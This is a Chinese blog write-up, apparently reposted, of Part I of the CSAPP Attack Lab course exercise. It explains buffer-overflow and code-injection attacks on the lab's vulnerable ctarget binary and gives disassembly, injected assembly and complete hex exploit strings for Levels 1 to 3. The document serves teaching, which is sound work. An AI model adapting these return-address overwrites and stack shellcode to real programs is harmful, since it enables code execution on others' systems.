CSAPP: Attack Lab

栏目: 编程语言 · 发布时间: 6年前

内容简介:CSAPP: Attack Lab

Attack Lab 分为 Part IPart II ,分别实现 Code Injection AttacksReturn-Oriented ProgrammingCode Injection Attacks 主要利用缓冲区溢出执行不安全的代码片段;当栈被标记为 nonexecutable 或者位置随机时,可以利用 Return-Oriented Programming 达到攻击的目的。

目前的进度是完成了 Part I ,等有时间再回来完成 Part II

Part I: Code Injection Attacks

Level 1

Level 1 利用输入字符串使当前执行的代码段跳转到预设的代码片段,不会涉及到 code injection :当 test()getbuf() 返回后,我们要改变 test() 正常的执行逻辑,不再执行下一条指令,而是让 test() 跳转至 touch1() 执行指令。 test() 以及 touch1() 对应的代码如下所示。

voidtest()
{
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}

voidtouch1()
{
    vlevel = 1; / * Part of validation protocol * /
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}

要实现 Level 1 中的跳转,关键是利用缓冲区溢出来修改 test() 调用 getbuf() 时栈帧中的返回地址。使用 objdumpctarget 反编译,提取 getbuf() 的汇编代码,如下所示。

00000000004017a8 <getbuf>:
  4017a8:       48 83 ec 28             sub    $0x28,%rsp
  4017ac:       48 89 e7                mov    %rsp,%rdi
  4017af:       e8 8c 02 00 00          callq  401a40 <Gets>
  4017b4:       b8 01 00 00 00          mov    $0x1,%eax
  4017b9:       48 83 c4 28             add    $0x28,%rsp
  4017bd:       c3                      retq
  4017be:       90                      nop
  4017bf:       90                      nop

注意到 %rsp 被移动了 $0x2840 字节,这意味着 getbuf() 开辟了 40 字节的缓冲区,而缓冲区以上的 4 字节则是 getbuf() 执行 ret 指令后 test() 继续执行的指令的地址。 Level 1 要做的就是利用缓冲区溢出,修改这 4 字节的值,使之等于 touch1() 的地址。根据反编译 ctarget 得到的汇编代码, touch1() 的起始地址为 0x4017c0 ,如下所示。

00000000004017c0 <touch1>:
  4017c0:       48 83 ec 08             sub    $0x8,%rsp
  4017c4:       c7 05 0e 2d 20 00 01    movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  ...

综上, Level 1 所需的输入字符串长度为 44 字节,前 40 字节用于填充缓冲区,具体的值不重要,后 4 字节等于touch1()的地址值 0x4017c0 ,注意内存存储规则为 Little Endian

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00

我们需要利用 hex2raw 将输入字符串( level1.txt )转化为字节码,并将字节码文件( level1_bc.txt )作为 ctarget 的输入,如下图所示。

CSAPP: Attack Lab

Level 1 通过缓冲区溢出帮助我们理解函数与函数之间跳转的原理,但是并未涉及到参数的传递,这需要通过 code injection 来实现。

Level 2

Level 2 的流程与 Level 1 相似: test() 调用 getbuf() ,当 getbuf() 返回之后,开始执行 touch2() 的指令。 touch2() 有着如下的代码逻辑。

voidtouch2(unsignedval)
{
    vlevel = 2; / * Part of validation protocol * /
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

Level 1 不同的是, Level 2 除了需要实现指令跳转,还需要将 cookie 作为参数传递至 touch2() 。这意味着需要执行一段我们自己的代码来实现参数的传递,也就是所谓的 code injection

Level 1 中,我们通过改写返回地址值达到跳转至 touch1() 的目的,如果我们现在也仅仅是将返回地址修改为 touch2() 的地址,那么参数传递的问题并没有解决。根据 x86-64 寄存器使用规范, touch2() 的参数 val 存储于寄存器 %rdi ,此时 %rdi 的值并不是我们期望的 cookie 值。如果在跳转至 touch2() 执行指令之前,先跳转到某个区域执行一段代码,这段代码能够设置寄存器 %rdi 的值,然后再跳转到 touch2() 执行,就可以达到我们的目的。关键是这段代码存储于内存的哪块区域?答案是由 getbuf() 开辟的缓冲区,也就是 Level 1 中可以是任意值的 40 字节。基于以上思路,我们需要明确缓冲区的地址以及待注入的机器代码。

getbuf() 调用 Gets() 函数开辟缓冲区,而 Gets() 的返回值即是缓冲区的地址,根据 x86-64 寄存器使用规范,返回值存储于寄存器 %rax 。利用 gdb 查看寄存器 %rax 的值,如下图所示,缓冲区的起始地址为 0x5561dc78

CSAPP: Attack Lab

待注入的机器代码实现设置寄存器 %rdi 的值等于 cookie 值,然后跳转至 touch2() 执行指令。用汇编代码来描述,如下所示。

mov $0x59b997fa,%rdi
pushq $0x4017ec
ret

将以上汇编代码进行汇编,然后进行反编译得到汇编代码对应的机器代码,如下图所示。

CSAPP: Attack Lab

至此,可以写出 Level 2 所需的输入字符串,如下所示。

48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55

利用 hex2raw 将输入字符串转化为字节码,并将字节码文件作为 ctarget 的输入,如下图所示。

CSAPP: Attack Lab

Level 3

Level 3 也需要通过 code injection 来传递参数。与 Level 2 不同的是, Level 3 传递的参数类型是字符串,更确切的说,应该是字符串的地址。与 Level 3 相关联的 touch3() 如下所示。

voidtouch3(char*sval)
{
    vlevel = 3; / * Part of validation protocol * /
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

注意到 touch3() 内部调用了 hexmatch() ,其代码如下所示。同时,根据 hexmatch() 的代码逻辑我们推断出 touch3() 期待的字符串为 cookie 值的等价字符串。

/ * Compare string to hex represention of unsigned value * /
inthexmatch(unsignedval,char*sval)
{
    char cbuf[110];
    / * Make position of check string unpredictable * /
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

Level 2 的思路类似, Level 3 通过向 getbuf() 开辟的缓冲区中注入代码来达到设置参数值的目的,但是我们发现 touch3() 调用了 hexmatch()hexmatch() 又调用了 strncmp() ,这就出现了问题:函数的调用会导致新的数据被 push 到栈中,这意味着栈中原有的数据会被覆盖。那么,我们我们传递的参数,也就是字符串,应该存储在内存的什么位置?

基于以上分析, Level 3 中待注入的代码与 Level 2 非常类似,唯一不同的就是 Level 2 向寄存器 %rdi 存储的是 cookie 值,而 Level 3 向寄存器 %rdi 存储的是 cookie 字符串的地址值。我们借助 gdb 对比 touch3() 调用 hexmatch() 前后缓冲区的变化情况,以此定位安全的存储字符串的地址。为此,我们先通过 Level 1 中的方法进入 touch3() ,并将指令执行至 hexmatch() 前一条的指令,如下图所示。

CSAPP: Attack Lab

对比执行 hexmatch() 前后缓冲区内容的变化,可以发现缓冲区的 40 个字节并没有连续的 8 个安全的字节供存储 cookie 字符串,但是从 0x5561dca0 开始的 40 个字节在 hexmatch() 调用前后并没有变化。因此,可以把字符串存储在缓冲区以外的这片内存区域中(我选择以 0x5561dca8 为首地址的 8 个字节)。

现在可以将已确定的字符串地址存储至寄存器 %rdi ,对应的汇编代码如下所示,获取对应机器码的方式与 Level 2 一致。

mov $0x5561dca8,%rdi
pushq $0x4018fa
ret

Level 3 的输入字符串也要根据字符串的存储地址做相应的补充,由于字符串的首地址为 0x5561dca8 ,且字符串长度为 8 ,因此输入字符串的总长度为 56 字节,如下所示。

48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61

借助 hex2raw 将输入字符串转化为字节码,并将其作为 ctarget 的输入,结果如下图所示。

CSAPP: Attack Lab


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

一网打尽

一网打尽

[美]布拉德·斯通 / 李晶、李静 / 中信出版社 / 2014-1-15 / 49.00元

亚马逊最早起步于通过邮购来经营图书业务。但贝佐斯却不满足于仅做一名书商,他希望缔造亚马逊万货商店的神话——能提供海量的货源,并以超低的价格提供最具吸引力的便捷服务。为了实现这一诺言,他发展了一种企业文化,这种文化蕴含着执着的雄心与难以破解 的秘诀。亚马逊的这 一文化现在依旧在发扬光大。 布拉德·斯通非常幸运地得到采访亚马逊的前任和现任高管、员工以及贝佐斯本人、家人的机会,使我们第一次有机会深......一起来看看 《一网打尽》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

SHA 加密
SHA 加密

SHA 加密工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器